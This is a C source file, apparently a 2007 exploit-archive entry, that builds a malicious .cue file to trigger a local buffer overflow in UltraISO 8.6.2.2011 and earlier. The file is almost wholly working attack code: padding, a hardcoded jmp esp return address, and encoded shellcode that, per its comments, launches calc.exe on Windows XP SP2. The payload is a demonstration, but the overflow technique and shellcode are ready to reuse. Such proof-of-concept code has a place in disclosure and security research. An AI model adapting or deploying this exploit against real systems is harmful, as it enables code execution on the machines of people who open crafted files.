/*
Date : May 28th 2007.
UltraISO <= 8.6.2.2011 local buffer-over flow by n00b
You might need to change the jmp esp% adress to your version.
Tested on win xp service pack 2 <eng> executes calc.Don't
forget you need to have the bin and cue file in the same
Directory special thanks to Thomas Pollet also.
*/
#include <stdlib.h>
#include <stdio.h>
//Calc shell_code
unsigned char shell_code[] =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"
"\x42\x50\x42\x50\x42\x30\x4b\x58\x45\x54\x4e\x33\x4b\x38\x4e\x57"
"\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x58\x4f\x44\x4a\x41\x4b\x38"
"\x4f\x35\x42\x42\x41\x30\x4b\x4e\x49\x34\x4b\x58\x46\x33\x4b\x58"
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c"
"\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48"
"\x4f\x35\x46\x32\x41\x50\x4b\x4e\x48\x36\x4b\x58\x4e\x50\x4b\x54"
"\x4b\x58\x4f\x35\x4e\x31\x41\x50\x4b\x4e\x4b\x38\x4e\x41\x4b\x38"
"\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x50\x43\x4c\x41\x53"
"\x42\x4c\x46\x46\x4b\x48\x42\x44\x42\x43\x45\x38\x42\x4c\x4a\x37"
"\x4e\x50\x4b\x48\x42\x44\x4e\x50\x4b\x48\x42\x57\x4e\x51\x4d\x4a"
"\x4b\x48\x4a\x46\x4a\x30\x4b\x4e\x49\x30\x4b\x58\x42\x58\x42\x4b"
"\x42\x30\x42\x50\x42\x30\x4b\x48\x4a\x46\x4e\x43\x4f\x55\x41\x43"
"\x48\x4f\x42\x56\x48\x55\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x57"
"\x42\x55\x4a\x46\x4f\x4e\x50\x4c\x42\x4e\x42\x46\x4a\x36\x4a\x49"
"\x50\x4f\x4c\x48\x50\x30\x47\x35\x4f\x4f\x47\x4e\x43\x46\x41\x56"
"\x4e\x46\x43\x56\x50\x42\x45\x56\x4a\x37\x45\x36\x42\x30\x5a" ;
int main(int argc, char *argv[])
{
FILE *cue;
FILE *bin;
if(argc < 2) {
system("cls");
printf("\n *************************************************");
printf("\n *************************************************");
printf("\n * Ultra Iso local buffer over flow by n00b *");
printf("\n *************************************************");
printf("\n * Special thanks to Str0ke *");
printf("\n *************************************************");
printf("\n * Shout's ~ str0ke ~ c0ntex ~ marsu ~v9@fakehalo*");
printf("\n * Date : May 28th 2007 *");
printf("\n *************************************************");
printf("\n * Credit's to n00b for finding this bug and poc *");
printf("\n *************************************************");
printf("\n Usage:> Exploit.cue Exploit.bin ");
printf("\n *************************************************");
return 0;
}
if(!(cue = fopen(argv[1], "w"))) {
printf("[+] Error");
return 0;
}
fputs("FILE \"", cue);
for (int i=0;i<1099;i++) \
fputs("A", cue);
fputs("\x43\x41\xf8\x77", cue);
fputs((char *)shell_code, cue);
fputs(".bin \"", cue);
fputs("\" BINARY\n", cue);
fputs(" TRACK 01 MODE2/2352\n", cue);
fputs(" INDEX 01 00:00:00\n", cue);
fclose(cue);
if(!(bin = fopen(argv[2], "w"))) {
printf("[+] Error");
return 0;
}
fputs("Fake bin file\n", bin);
fclose(bin);
printf("File's successfully created");
return 0;
}
// milw0rm.com [2007-05-28]